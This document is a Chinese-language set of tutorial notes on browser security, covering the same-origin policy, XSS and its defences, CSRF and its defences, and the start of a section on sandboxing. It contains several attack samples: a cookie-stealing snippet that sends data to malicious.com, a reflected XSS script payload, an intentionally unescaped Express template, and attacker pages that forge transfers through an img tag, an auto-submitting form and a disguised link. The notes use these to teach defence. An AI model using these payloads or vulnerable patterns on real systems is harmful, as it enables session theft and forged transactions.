# 同源策略:为什么 XMLHttpRequest 不能跨域请求资源?
浏览器安全可以分为三大块 —— Web 页面安全、浏览器网络安全和浏览器系统安全。
本文我们先来分析页面中的安全策略,不过在开始之前,我们先来做个假设,如果页面中没有安全策略的话,Web 世界会是什么样子的呢?
Web 世界会是开放的,任何资源都可以接入其中,我们的网站可以加载并执行别人网站的脚本文件、图片、音频 / 视频等资源,甚至可以下载其他站点的可执行文件。
Web 世界是开放的,这很符合 Web 理念。但如果 Web 世界是绝对自由的,那么页面行为将没有任何限制,这会造成无序或者混沌的局面,出现很多不可控的问题。
比如你打开了一个银行站点,然后又一不小心打开了一个恶意站点,如果没有安全措施,恶意站点就可以做很多事情:
修改银行站点的 DOM、CSSOM 等信息;
在银行站点内部插入 JavaScript 脚本;
劫持用户登录的用户名和密码;
读取银行站点的 Cookie、IndexDB 等数据;
甚至还可以将这些信息上传至自己的服务器,这样就可以在你不知情的情况下伪造一些转账请求等信息。
所以说,在没有安全保障的 Web 世界中,我们是没有隐私的,因此需要安全策略来保障我们的隐私和数据的安全。
这就引出了页面中最基础、最核心的安全策略:同源策略(Same-origin policy)。
# 什么是同源策略
要了解什么是同源策略,我们得先来看看什么是同源。
如果两个 URL 的协议、域名和端口都相同,我们就称这两个 URL 同源。
比如下面这两个 URL,它们具有相同的协议 HTTPS、相同的域名 time.geekbang.org,以及相同的端口 443,所以我们就说这两个 URL 是同源的。
https://time.geekbang.org/?category=1
https://time.geekbang.org/?category=0
2
浏览器默认两个相同的源之间是可以相互访问资源和操作 DOM 的。
两个不同的源之间若想要相互访问资源或者操作 DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。
具体来讲,同源策略主要表现在 DOM、Web 数据和网络这三个层面。
📌 第一个,DOM 层面。
同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作。
这里我们还是拿极客时间的官网做例子,打开极客时间的官网,然后再从官网中打开另外一个专栏页面,如下图所示:
由于第一个页面和第二个页面是同源关系,所以我们可以在第二个页面中操作第一个页面的 DOM,比如将第一个页面全部隐藏掉,代码如下所示:
{
let pdom = opener.document;
pdom.body.style.display = "none";
}
2
3
4
该代码中,对象 opener 就是指向第一个页面的 window 对象,我们可以通过操作 opener 来控制第一个页面中的 DOM。
我们在第二个页面的控制台中执行上面那段代码,就成功地操作了第一个页面中的 DOM,将页面隐藏了,如下图:
不过如果打开的第二个页面和第一个页面不是同源的,那么它们就无法相互操作 DOM 了。
比如从极客时间官网打开 InfoQ 的页面(由于它们的域名不同,所以不是同源的),然后我们还按照前面同样的步骤来操作,最终操作结果如下图所示:
从图中可以看出,当我们在 InfoQ 的页面中访问极客时间页面中的 DOM 时,页面抛出了如下的异常信息,这就是同源策略所发挥的作用。
Blocked a frame with origin "https://www.infoq.cn" from accessing a cross-origin frame.
📌 第二个,数据层面。
同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、LocalStorage 等数据。由于同源策略,我们依然无法通过第二个页面的 opener 来访问第一个页面中的 Cookie、IndexDB 或者 LocalStorage 等内容。
📌 第三个,网络层面。
同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点。还记得在《WebAPI:XMLHttpRequest 是怎么实现的?》这篇文章的末尾分析的 XMLHttpRequest 在使用过程中所遇到的坑吗?其中第一个坑就是在默认情况下不能访问跨域的资源。
# 安全和便利性的权衡
我们了解了同源策略会隔离不同源的 DOM、页面数据和网络通信,进而实现 Web 页面的安全性。
不过安全性和便利性是相互对立的,让不同的源之间绝对隔离,无疑是最安全的措施,但这也会使得 Web 项目难以开发和使用。
因此我们就要在这之间做出权衡,出让一些安全性来满足灵活性;而出让安全性又带来了很多安全问题,最典型的是 XSS 攻击和 CSRF 攻击,这两种攻击我们会在后面再做介绍,本文我们只聊浏览器出让了同源策略的哪些安全性。
# 1. 页面中可以嵌入第三方资源
我们在文章开头提到过,Web 世界是开放的,可以接入任何资源,而同源策略要让一个页面的所有资源都来自于同一个源,也就是要将该页面的所有 HTML 文件、JavaScript 文件、CSS 文件、图片等资源都部署在同一台服务器上,这无疑违背了 Web 的初衷,也带来了诸多限制。
比如将不同的资源部署到不同的 CDN 上时,CDN 上的资源就部署在另外一个域名上,因此我们就需要同源策略对页面的引用资源开一个 “口子”,让其任意引用外部文件。
所以最初的浏览器都是支持外部引用资源文件的,不过这也带来了很多问题。之前在开发浏览器的时候,遇到最多的一个问题是浏览器的首页内容会被一些恶意程序劫持,劫持的途径很多,其中最常见的是恶意程序通过各种途径往 HTML 文件中插入恶意脚本。
比如,恶意程序在 HTML 文件内容中插入如下一段 JavaScript 代码:
当这段 HTML 文件的数据被送达浏览器时,浏览器是无法区分被插入的文件是恶意的还是正常的,这样恶意脚本就寄生在页面之中,当页面启动时,它可以修改用户的搜索结果、改变一些内容的连接指向,等等。
除此之外,它还能将页面的的敏感数据,如 Cookie、IndexDB、LoacalStorage 等数据通过 XSS 的手段发送给服务器。具体来讲就是,当你不小心点击了页面中的一个恶意链接时,恶意 JavaScript 代码可以读取页面数据并将其发送给服务器,如下面这段伪代码:
function onClick() {
let url = `http://malicious.com?cookie = ${document.cookie}`;
open(url);
}
onClick();
2
3
4
5
在这段代码中,恶意脚本读取 Cookie 数据,并将其作为参数添加至恶意站点尾部,当打开该恶意页面时,恶意服务器就能接收到当前用户的 Cookie 信息。
以上就是一个非常典型的 XSS 攻击。为了解决 XSS 攻击,浏览器中引入了内容安全策略,称为 CSP。
CSP 的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联 JavaScript 代码。通过这些手段就可以大大减少 XSS 攻击。
# 2. 跨域资源共享和跨文档消息机制
默认情况下,如果打开极客邦的官网页面,在官网页面中通过 XMLHttpRequest 或者 Fetch 来请求 InfoQ 中的资源,这时同源策略会阻止其向 InfoQ 发出请求,这样会大大制约我们的生产力。
为了解决这个问题,我们引入了跨域资源共享(CORS),使用该机制可以进行跨域访问控制,从而使跨域数据传输得以安全进行。
在介绍同源策略时,我们说明了如果两个页面不是同源的,则无法相互操纵 DOM。不过在实际应用中,经常需要两个不同源的 DOM 之间进行通信,于是浏览器中又引入了跨文档消息机制,可以通过 window.postMessage 的 JavaScript 接口来和不同源的 DOM 进行通信。
# 评论区学习
# 跨站脚本攻击(XSS):为什么 Cookie 中有 HttpOnly 属性?
# 什么是 XSS 攻击
XSS 全称是 Cross Site Scripting
,为了与 “CSS” 区分开来,故简称 XSS,翻译过来就是 “跨站脚本”。
XSS 攻击是指黑客往 HTML 文件中或者 DOM 中注入恶意脚本,从而在用户浏览页面时利用注入的恶意脚本对用户实施攻击的一种手段。
最开始的时候,这种攻击是通过跨域来实现的,所以叫“跨域脚本”。但是发展到现在,往 HTML 文件中注入恶意代码的方式越来越多了,所以是否跨域注入脚本已经不是唯一的注入手段了,但是 XSS 这个名字却一直保留至今。
当页面被注入了恶意 JavaScript 脚本时,浏览器无法区分这些脚本是被恶意注入的还是正常的页面内容,所以恶意注入 JavaScript 脚本也拥有所有的脚本权限。
下面我们就来看看,如果页面被注入了恶意 JavaScript 脚本,恶意脚本都能做哪些事情。
可以窃取 Cookie 信息。恶意 JavaScript 可以通过
document.cookie
获取 Cookie 信息,然后通过 XMLHttpRequest 或者 Fetch 加上 CORS 功能将数据发送给恶意服务器;恶意服务器拿到用户的 Cookie 信息之后,就可以在其他电脑上模拟用户的登录,然后进行转账等操作。可以监听用户行为。恶意 JavaScript 可以使用
addEventListener
接口来监听键盘事件,比如可以获取用户输入的信用卡等信息,将其发送到恶意服务器。黑客掌握了这些信息之后,又可以做很多违法的事情。可以通过修改 DOM 伪造假的登录窗口,用来欺骗用户输入用户名和密码等信息。
还可以在页面内生成浮窗广告,这些广告会严重地影响用户体验。
除了以上几种情况外,恶意脚本还能做很多其他的事情,这里就不一一介绍了。总之,如果让页面插入了恶意脚本,那么就相当于把我们页面的隐私数据和行为完全暴露给黑客了。
# 恶意脚本是怎么注入的
现在我们知道了页面中被注入恶意的 JavaScript 脚本是一件非常危险的事情,所以网站开发者会尽可能地避免页面中被注入恶意脚本。要想避免站点被注入恶意脚本,就要知道有哪些常见的注入方式。
通常情况下,主要有存储型 XSS 攻击、反射型 XSS 攻击和基于 DOM 的 XSS 攻击三种方式来注入恶意脚本。
# 1. 存储型 XSS 攻击
先来看看存储型 XSS 攻击是怎么向 HTML 文件中注入恶意脚本的,可以参考下图:
通过上图,我们可以看出存储型 XSS 攻击大致需要经过如下步骤:
首先黑客利用站点漏洞将一段恶意 JavaScript 代码提交到网站的数据库中;
然后用户向网站请求包含了恶意 JavaScript 脚本的页面;
当用户浏览该页面的时候,恶意脚本就会将用户的 Cookie 信息等数据上传到服务器。
下面我们来看个例子,2015 年喜马拉雅就被曝出了存储型 XSS 漏洞。
起因是在用户设置专辑名称时,服务器对关键字过滤不严格,比如可以将专辑名称设置为一段 JavaScript,如下图所示:
当黑客将专辑名称设置为一段 JavaScript 代码并提交时,喜马拉雅的服务器会保存该段 JavaScript 代码到数据库中。
然后当用户打开黑客设置的专辑时,这段代码就会在用户的页面里执行(如下图),这样就可以获取用户的 Cookie 等数据信息。
当用户打开黑客设置的专辑页面时,服务器也会将这段恶意 JavaScript 代码返回给用户,因此这段恶意脚本就在用户的页面中执行了。
恶意脚本可以通过 XMLHttpRequest 或者 Fetch 将用户的 Cookie 数据上传到黑客的服务器,如下图所示:
黑客拿到了用户 Cookie 信息之后,就可以利用 Cookie 信息在其他机器上登录该用户的账号(如下图),并利用用户账号进行一些恶意操作。
以上就是存储型 XSS 攻击的一个典型案例,这是乌云网在 2015 年曝出来的,虽然乌云网由于某些原因被关停了,但是我们依然可以通过这个站点 (opens new window)来查看乌云网的一些备份信息。
# 2. 反射型 XSS 攻击
在一个反射型 XSS 攻击过程中,恶意 JavaScript 脚本属于用户发送给网站请求中的一部分,随后网站又把恶意 JavaScript 脚本返回给用户。当恶意 JavaScript 脚本在用户页面中被执行时,黑客就可以利用该脚本做一些恶意操作。
这样讲有点抽象,下面我们结合一个简单的 Node 服务程序来看看什么是反射型 XSS。首先我们使用 Node 来搭建一个简单的页面环境,搭建好的服务代码如下所示:
var express = require("express");
var router = express.Router();
/* GET home page. */
router.get("/", function(req, res, next) {
res.render("index", { title: "Express", xss: req.query.xss });
});
module.exports = router;
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<head>
<title><%= title %></title>
<link rel="stylesheet" href="/stylesheets/style.css" />
</head>
<body>
<h1><%= title %></h1>
<p>Welcome to <%= title %></p>
<div>
<%- xss %>
</div>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
14
上面这两段代码,第一段是路由,第二段是视图,作用是将 URL 中 xss 参数的内容显示在页面。
我们可以在本地演示下,比如打开 http://localhost:3000/?xss=123 这个链接,这样在页面中展示就是 “123” 了(如下图),是正常的,没有问题的。
但当打开 http://localhost:3000/?xss=<script>alert('你被xss攻击了')</script>
这段 URL 时,其结果如下图所示:
通过这个操作,我们会发现用户将一段含有恶意代码的请求提交给 Web 服务器,Web 服务器接收到请求时,又将恶意代码反射给了浏览器端,这就是反射型 XSS 攻击。
在现实生活中,黑客经常会通过 QQ 群或者邮件等渠道诱导用户去点击这些恶意链接,所以对于一些链接我们一定要慎之又慎。
另外需要注意的是,Web 服务器不会存储反射型 XSS 攻击的恶意脚本,这是和存储型 XSS 攻击不同的地方。
# 3. 基于 DOM 的 XSS 攻击
基于 DOM 的 XSS 攻击是不牵涉到页面 Web 服务器的。
具体来讲,黑客通过各种手段将恶意脚本注入用户的页面中,比如通过网络劫持在页面传输过程中修改 HTML 页面的内容,这种劫持类型很多,有通过 WiFi 路由器劫持的,有通过本地恶意软件来劫持的,它们的共同点是在 Web 资源传输过程或者在用户使用页面的过程中修改 Web 页面的数据。
# 如何阻止 XSS 攻击
我们知道存储型 XSS 攻击和反射型 XSS 攻击都是需要经过 Web 服务器来处理的,因此可以认为这两种类型的漏洞是服务端的安全漏洞。
而基于 DOM 的 XSS 攻击全部都是在浏览器端完成的,因此基于 DOM 的 XSS 攻击是属于前端的安全漏洞。
但无论是何种类型的 XSS 攻击,它们都有一个共同点,那就是首先往浏览器中注入恶意脚本,然后再通过恶意脚本将用户信息发送至黑客部署的恶意服务器上。
所以要阻止 XSS 攻击,我们可以通过阻止恶意 JavaScript 脚本的注入和恶意消息的发送来实现。
接下来我们就来看看一些常用的阻止 XSS 攻击的策略。
# 1. 服务器对输入脚本进行过滤或转码
不管是反射型还是存储型 XSS 攻击,我们都可以在服务器端将一些关键的字符进行转码,比如最典型的:
code:<script>alert('你被xss攻击了')</script>
这段代码过滤后,只留下了:
code:
这样,当用户再次请求该页面时,由于 <script>
标签的内容都被过滤了,所以这段脚本在客户端是不可能被执行的。
除了过滤之外,服务器还可以对这些内容进行转码,还是上面那段代码,经过转码之后,效果如下所示:
code:<script>alert('你被xss攻击了')</script>
经过转码之后的内容,如 <script>
标签被转换为 <script>
,因此即使这段脚本返回给页面,页面也不会执行这段脚本。
# 2. 充分利用 CSP
虽然在服务器端执行过滤或者转码可以阻止 XSS 攻击的发生,但完全依靠服务器端依然是不够的,我们还需要把 CSP 等策略充分地利用起来,以降低 XSS 攻击带来的风险和后果。
实施严格的 CSP 可以有效地防范 XSS 攻击,具体来讲 CSP 有如下几个功能:
限制加载其他域下的资源文件,这样即使黑客插入了一个 JavaScript 文件,这个 JavaScript 文件也是无法被加载的;
禁止向第三方域提交数据,这样用户数据也不会外泄;
禁止执行内联脚本和未授权的脚本;
还提供了上报机制,这样可以帮助我们尽快发现有哪些 XSS 攻击,以便尽快修复问题。
因此,利用好 CSP 能够有效降低 XSS 攻击的概率。
# 3. 使用 HttpOnly 属性
由于很多 XSS 攻击都是来盗用 Cookie 的,因此还可以通过使用 HttpOnly 属性来保护 Cookie 的安全。
通常服务器可以将某些 Cookie 设置为 HttpOnly 标志,HttpOnly 是服务器通过 HTTP 响应头来设置的,下面是打开 Google 时,HTTP 响应头中的一段:
set-cookie: NID=189=M8q2FtWbsR8RlcldPVt7qkrqR38LmFY9jUxkKo3-4Bi6Qu_ocNOat7nkYZUTzolHjFnwBw0izgsATSI7TZyiiiaV94qGh-BzEYsNVa7TZmjAYTxYTOM9L_-0CN9ipL6cXi8l6-z41asXtm2uEwcOC5oh9djkffOMhWqQrlnCtOI; expires=Sat, 18-Apr-2020 06:52:22 GMT; path=/; domain=.google.com; HttpOnly
我们可以看到,set-cookie 属性值最后使用了 HttpOnly 来标记该 Cookie。
顾名思义,使用 HttpOnly 标记的 Cookie 只能使用在 HTTP 请求过程中,所以无法通过 JavaScript 来读取这段 Cookie。
我们还可以通过 Chrome 开发者工具来查看哪些 Cookie 被标记了 HttpOnly,如下图:
从图中可以看出,NID 这个 Cookie 的 HttpOlny 属性是被勾选上的,所以 NID 的内容是无法通过 document.cookie 是来读取的。
由于 JavaScript 无法读取设置了 HttpOnly 的 Cookie 数据,所以即使页面被注入了恶意 JavaScript 脚本,也是无法获取到设置了 HttpOnly 的数据。因此一些比较重要的数据建议设置 HttpOnly 标志。
# 评论区学习
# CSRF 攻击:陌生链接不要随便点
相信你经常能听到的一句话:“别点那个链接,小心有病毒!”点击一个链接怎么就能染上病毒了呢?
我们结合一个真实的关于 CSRF 攻击的典型案例来分析下。
在 2007 年的某一天,David 无意间打开了 Gmail 邮箱中的一份邮件,并点击了该邮件中的一个链接。过了几天,David 就发现他的域名被盗了。不过几经周折,David 还是要回了他的域名,也弄清楚了他的域名之所以被盗,就是因为无意间点击的那个链接。
那 David 的域名是怎么被盗的呢?
我们结合下图来分析下 David 域名的被盗流程:
首先 David 发起登录 Gmail 邮箱请求,然后 Gmail 服务器返回一些登录状态给 David 的浏览器,这些信息包括了 Cookie、Session 等,这样在 David 的浏览器中,Gmail 邮箱就处于登录状态了。
接着黑客通过各种手段引诱 David 去打开他的链接,比如 hacker.com,然后在 hacker.com 页面中,黑客编写好了一个邮件过滤器,并通过 Gmail 提供的 HTTP 设置接口设置好了新的邮件过滤功能,该过滤器会将 David 所有的邮件都转发到黑客的邮箱中。
最后的事情就很简单了,因为有了 David 的邮件内容,所以黑客就可以去域名服务商那边重置 David 域名账户的密码,重置好密码之后,就可以将其转出到黑客的账户了。
以上就是 David 的域名被盗的完整过程,其中前两步就是 CSRF 攻击。David 在要回了他的域名之后,也将整个攻击过程分享到他的站点上了,如果你感兴趣的话,可以参考该链接 (opens new window)(放心这个链接是安全的)。
# 什么是 CSRF 攻击
CSRF 英文全称是 Cross-site request forgery
,所以又称为 “跨站请求伪造”,是指黑客引诱用户打开黑客的网站,在黑客的网站中,利用用户的登录状态发起的跨站请求。
简单来讲,CSRF 攻击就是黑客利用了用户的登录状态,并通过第三方的站点来做一些坏事。
通常当用户打开了黑客的页面后,黑客有三种方式去实施 CSRF 攻击。
下面我们以极客时间官网为例子,来分析这三种攻击方式都是怎么实施的。这里假设极客时间具有转账功能,可以通过 POST 或 Get 来实现转账,转账接口如下所示:
# 同时支持 POST 和 Get
# 接口
https://time.geekbang.org/sendcoin
# 参数
## 目标用户
user
## 目标金额
number
2
3
4
5
6
7
8
有了上面的转账接口,我们就可以来模拟 CSRF 攻击了。
# 1. 自动发起 Get 请求
黑客最容易实施的攻击方式是自动发起 Get 请求,具体攻击方式可以参考下面这段代码:
<!DOCTYPE html>
<html>
<body>
<h1>黑客的站点:CSRF攻击演示</h1>
<img src="https://time.geekbang.org/sendcoin?user=hacker&number=100" />
</body>
</html>
2
3
4
5
6
7
这是黑客页面的 HTML 代码,在这段代码中,黑客将转账的请求接口隐藏在 img 标签内,欺骗浏览器这是一张图片资源。
当该页面被加载时,浏览器会自动发起 img 的资源请求,如果服务器没有对该请求做判断的话,那么服务器就会认为该请求是一个转账请求,于是用户账户上的 100 极客币就被转移到黑客的账户上去了。
# 2. 自动发起 POST 请求
除了自动发送 Get 请求之外,有些服务器的接口是使用 POST 方法的,所以黑客还需要在他的站点上伪造 POST 请求,当用户打开黑客的站点时,是自动提交 POST 请求,具体的方式可以参考下面示例代码:
<!DOCTYPE html>
<html>
<body>
<h1>黑客的站点:CSRF攻击演示</h1>
<form
id="hacker-form"
action="https://time.geekbang.org/sendcoin"
method="POST"
>
<input type="hidden" name="user" value="hacker" />
<input type="hidden" name="number" value="100" />
</form>
<script>
document.getElementById("hacker-form").submit();
</script>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
在这段代码中,我们可以看到黑客在他的页面中构建了一个隐藏的表单,该表单的内容就是极客时间的转账接口。
当用户打开该站点之后,这个表单会被自动执行提交;当表单被提交之后,服务器就会执行转账操作。因此使用构建自动提交表单这种方式,就可以自动实现跨站点 POST 数据提交。
# 3. 引诱用户点击链接
除了自动发起 Get 和 Post 请求之外,还有一种方式是诱惑用户点击黑客站点上的链接,这种方式通常出现在论坛或者恶意邮件上。黑客会采用很多方式去诱惑用户点击链接,示例代码如下所示:
<div>
<img width=150 src=http://images.xuejuzi.cn/1612/1_161230185104_1.jpg> </img> </div> <div>
<a href="https://time.geekbang.org/sendcoin?user=hacker&number=100" taget="_blank">
点击下载美女照片
</a>
</div>
2
3
4
5
6
这段黑客站点代码,页面上放了一张美女图片,下面放了图片下载地址,而这个下载地址实际上是黑客用来转账的接口,一旦用户点击了这个链接,那么他的极客币就被转到黑客账户上了。
以上三种就是黑客经常采用的攻击方式。如果当用户登录了极客时间,以上三种 CSRF 攻击方式中的任何一种发生时,那么服务器都会将一定金额的极客币发送到黑客账户。
到这里,相信你已经知道什么是 CSRF 攻击了。
和 XSS 不同的是,CSRF 攻击不需要将恶意代码注入用户的页面,仅仅是利用服务器的漏洞和用户的登录状态来实施攻击。
# 如何防止 CSRF 攻击
了解了 CSRF 攻击的一些手段之后,我们再来看看 CSRF 攻击的一些 “特征”,然后根据这些 “特征” 分析下如何防止 CSRF 攻击。
下面是我总结的发起 CSRF 攻击的三个必要条件:
第一个,目标站点一定要有 CSRF 漏洞;
第二个,用户要登录过目标站点,并且在浏览器上保持有该站点的登录状态;
第三个,需要用户打开一个第三方站点,可以是黑客的站点,也可以是一些论坛。
满足以上三个条件之后,黑客就可以对用户进行 CSRF 攻击了。
这里还需要额外注意一点,与 XSS 攻击不同,CSRF 攻击不会往页面注入恶意脚本,因此黑客是无法通过 CSRF 攻击来获取用户页面数据的;
其最关键的一点是要能找到服务器的漏洞,所以说对于 CSRF 攻击我们主要的防护手段是提升服务器的安全性。
要让服务器避免遭受到 CSRF 攻击,通常有以下几种途径。
# 1. 充分利用好 Cookie 的 SameSite 属性
通过上面的介绍,我们已经知道了黑客会利用用户的登录状态来发起 CSRF 攻击,而 Cookie 正是浏览器和服务器之间维护登录状态的一个关键数据,因此要阻止 CSRF 攻击,我们首先就要考虑在 Cookie 上来做文章。
通常 CSRF 攻击都是从第三方站点发起的,要防止 CSRF 攻击,我们最好能实现从第三方站点发送请求时禁止 Cookie 的发送,因此在浏览器通过不同来源发送 HTTP 请求时,有如下区别:
如果是从第三方站点发起的请求,那么需要浏览器禁止发送某些关键 Cookie 数据到服务器;
如果是同一个站点发起的请求,那么就需要保证 Cookie 数据正常发送。
Cookie 中的 SameSite 属性正是为了解决这个问题的,通过使用 SameSite 可以有效地降低 CSRF 攻击的风险。
那 SameSite 是怎么防止 CSRF 攻击的呢?
在 HTTP 响应头中,通过 set-cookie 字段设置 Cookie 时,可以带上 SameSite 选项,如下:
set-cookie: 1P_JAR=2019-10-20-06; expires=Tue, 19-Nov-2019 06:36:21 GMT; path=/; domain=.google.com; SameSite=none
SameSite 选项通常有 Strict、Lax 和 None 三个值。
Strict 最为严格。如果 SameSite 的值是 Strict,那么浏览器会完全禁止第三方 Cookie。简言之,如果你从极客时间的页面中访问 InfoQ 的资源,而 InfoQ 的某些 Cookie 设置了 SameSite = Strict 的话,那么这些 Cookie 是不会被发送到 InfoQ 的服务器上的。只有你从 InfoQ 的站点去请求 InfoQ 的资源时,才会带上这些 Cookie。
Lax 相对宽松一点。在跨站点的情况下,从第三方站点的链接打开和从第三方站点提交 Get 方式的表单这两种方式都会携带 Cookie。但如果在第三方站点中使用 Post 方法,或者通过 img、iframe 等标签加载的 URL,这些场景都不会携带 Cookie。
而如果使用 None 的话,在任何情况下都会发送 Cookie 数据。
SameSite 的具体使用方式 (opens new window)
对于防范 CSRF 攻击,我们可以针对实际情况将一些关键的 Cookie 设置为 Strict 或者 Lax 模式,这样在跨站点请求时,这些关键的 Cookie 就不会被发送到服务器,从而使得黑客的 CSRF 攻击失效。
# 2. 验证请求的来源站点
接着我们再来了解另外一种防止 CSRF 攻击的策略,那就是在服务器端验证请求来源的站点。
由于 CSRF 攻击大多来自于第三方站点,因此服务器可以禁止来自第三方站点的请求。那么该怎么判断请求是否来自第三方站点呢?
这就需要介绍 HTTP 请求头中的 Referer
和 Origin
属性了。
Referer 是 HTTP 请求头中的一个字段,记录了该 HTTP 请求的来源地址。
比如我从极客时间的官网打开了 InfoQ 的站点,那么请求头中的 Referer 值是极客时间的 URL,如下图:
虽然可以通过 Referer 告诉服务器 HTTP 请求的来源,但是有一些场景是不适合将来源 URL 暴露给服务器的,因此浏览器提供给开发者一个选项,可以不用上传 Referer 值,具体可参考 Referrer Policy (opens new window)。
但在服务器端验证请求头中的 Referer 并不是太可靠,因此标准委员会又制定了 Origin 属性,在一些重要的场合,比如通过 XMLHttpRequest、Fecth 发起跨站请求或者通过 Post 方法发送请求时,都会带上 Origin 属性,如下图:
从上图可以看出,Origin 属性只包含了域名信息,并没有包含具体的 URL 路径,这是 Origin 和 Referer 的一个主要区别。
在这里需要补充一点,Origin 的值之所以不包含详细路径信息,是有些站点因为安全考虑,不想把源站点的详细路径暴露给服务器。
因此,服务器的策略是优先判断 Origin,如果请求头中没有包含 Origin 属性,再根据实际情况判断是否使用 Referer 值。
# 3. CSRF Token
除了使用以上两种方式来防止 CSRF 攻击之外,还可以采用 CSRF Token 来验证,这个流程比较好理解,大致分为两步。
第一步,在浏览器向服务器发起请求时,服务器生成一个 CSRF Token。CSRF Token 其实就是服务器生成的字符串,然后将该字符串植入到返回的页面中。
可以参考下面示例代码:
<!DOCTYPE html>
<html>
<body>
<form action="https://time.geekbang.org/sendcoin" method="POST">
<input
type="hidden"
name="csrf-token"
value="nc98P987bcpncYhoadjoiydc9ajDlcn"
/>
<input type="text" name="user" />
<input type="text" name="number" />
<input type="submit" />
</form>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
第二步,在浏览器端如果要发起转账的请求,那么需要带上页面中的 CSRF Token,然后服务器会验证该 Token 是否合法。如果是从第三方站点发出的请求,那么将无法获取到 CSRF Token 的值,所以即使发出了请求,服务器也会因为 CSRF Token 不正确而拒绝请求。
# 评论区学习
# 安全沙箱:页面和系统之间的隔离墙
本文来聊聊页面安全和操作系统安全之间的关系。
从稳定性视角来看,单进程架构的浏览器是不稳定的,因为只要浏览器进程中的任意一个功能出现异常都有可能影响到整个浏览器,如页面卡死、浏览器崩溃等。
不过浏览器的稳定性并不是本文讨论的重点,我们今天主要聊的是浏览器架构是如何影响到操作系统安全的。
浏览器本身的漏洞是单进程浏览器的一个主要问题,如果浏览器被曝出存在漏洞,那么在这些漏洞没有被及时修复的情况下,黑客就有可能通过恶意的页面向浏览器中注入恶意程序,其中最常见的攻击方式是利用缓冲区溢出,不过需要注意这种类型的攻击和 XSS 注入的脚本是不一样的。
XSS 攻击只是将恶意的 JavaScript 脚本注入到页面中,虽然能窃取一些 Cookie 相关的数据,但是 XSS 无法对操作系统进行攻击。
而通过浏览器漏洞进行的攻击是可以入侵到浏览器进程内部的,可以读取和修改浏览器进程内部的任意内容,还可以穿透浏览器,在用户的操作系统上悄悄地安装恶意软件、监听用户键盘输入信息以及读取用户硬盘上的文件内容。
和 XSS 攻击页面相比,这类攻击无疑是枚“核弹”,它会将整个操作系统的内容都暴露给黑客,这样我们操作系统上所有的资料都是不安全的了。
# 安全视角下的多进程架构
现代浏览器的设计目标是安全、快速和稳定,而这种核弹级杀伤力的安全问题就是一个很大的潜在威胁,因此在设计现代浏览器的体系架构时,需要解决这个问题。
我们知道现代浏览器采用了多进程架构,将渲染进程和浏览器主进程做了分离。完整的进程架构我们已经在《Chrome 架构:仅仅打开了 1 个页面,为什么有 4 个进程?》那篇文章中介绍过了,这里就不重复介绍了。
下面我们重点从操作系统安全的视角来看看浏览器的多进程架构,如下图:
观察上图,我们知道浏览器被划分为浏览器内核和渲染内核两个核心模块,其中浏览器内核是由网络进程、浏览器主进程和 GPU 进程组成的,渲染内核就是渲染进程。
那如果我们在浏览器中打开一个页面,这两个模块是怎么配合的呢?
所有的网络资源都是通过浏览器内核来下载的,下载后的资源会通过 IPC 将其提交给渲染进程(浏览器内核和渲染进程之间都是通过 IPC 来通信的)。
然后渲染进程会对这些资源进行解析、绘制等操作,最终生成一幅图片。
但是渲染进程并不负责将图片显示到界面上,而是将最终生成的图片提交给浏览器内核模块,由浏览器内核模块负责显示这张图片。
之前我们分析过,设计现代浏览器体系架构时,将浏览器划分为不同的进程是为了增加其稳定性。虽然设计成了多进程架构,不过这些模块之间的沟通方式却有些复杂,也许你还有以下问题:
为什么一定要通过浏览器内核去请求资源,再将数据转发给渲染进程,而不直接从进程内部去请求网络资源?
为什么渲染进程只负责生成页面图片,生成图片还要经过 IPC 通知浏览器内核模块,然后让浏览器内核去负责展示图片?
通过以上方式不是增加了工程的复杂度吗?
要解释现代浏览器为什么要把这个流程弄得这么复杂,我们就得从系统安全的角度来分析。
# 安全沙箱
不过在解释这些问题之前,我们得先看看什么是安全沙箱。
上面我们分析过了,由于渲染进程需要执行 DOM 解析、CSS 解析、网络图片解码等操作,如果渲染进程中存在系统级别的漏洞,那么以上操作就有可能让恶意的站点获取到渲染进程的控制权限,进而又获取操作系统的控制权限,这对于用户来说是非常危险的。
因为网络资源的内容存在着各种可能性,所以浏览器会默认所有的网络资源都是不可信的,都是不安全的。但谁也不能保证浏览器不存在漏洞,只要出现漏洞,黑客就可以通过网络内容对用户发起攻击。
我们知道,如果你下载了一个恶意程序,但是没有执行它,那么恶意程序是不会生效的。同理,浏览器之于网络内容也是如此,浏览器可以安全地下载各种网络资源,但是如果要执行这些网络资源,比如解析 HTML、解析 CSS、执行 JavaScript、图片编解码等操作,就需要非常谨慎了,因为一不小心,黑客就会利用这些操作对含有漏洞的浏览器发起攻击。
基于以上原因,我们需要在渲染进程和操作系统之间建一道墙,即便渲染进程由于存在漏洞被黑客攻击,但由于这道墙,黑客就获取不到渲染进程之外的任何操作权限。
将渲染进程和操作系统隔离的这道墙就是安全沙箱。
浏览器中的安全沙箱是利用操作系统提供的安全技术,让渲染进程在执行过程中无法访问或者修改操作系统中的数据,在渲染进程需要访问系统资源的时候,需要通过浏览器内核来实现,然后将访问的结果通过 IPC 转发给渲染进程。
安全沙箱最小的保护单位是进程。因为单进程浏览器需要频繁访问或者修改操作系统的数据,所以单进程浏览器是无法被安全沙箱保护的,而现代浏览器采用的多进程架构使得安全沙箱可以发挥作用。
# 安全沙箱如何影响各个模块功能
我们知道安全沙箱最小的保护单位是进程,并且能限制进程对操作系统资源的访问和修改,这就意味着如果要让安全沙箱应用在某个进程上,那么这个进程必须没有读写操作系统的功能,比如读写本地文件、发起网络请求、调用 GPU 接口等。
了解了被安全沙箱保护的进程会有一系列的受限操作之后,接下来我们就可以分析渲染进程和浏览器内核各自都有哪些职责,如下图:
通过该图,我们可以看到由于渲染进程需要安全沙箱的保护,因此需要把在渲染进程内部涉及到和系统交互的功能都转移到浏览器内核中去实现。
那安全沙箱是如何影响到各个模块功能的呢?
# 1. 持久存储
先来看看安全沙箱是如何影响到浏览器持久存储的。
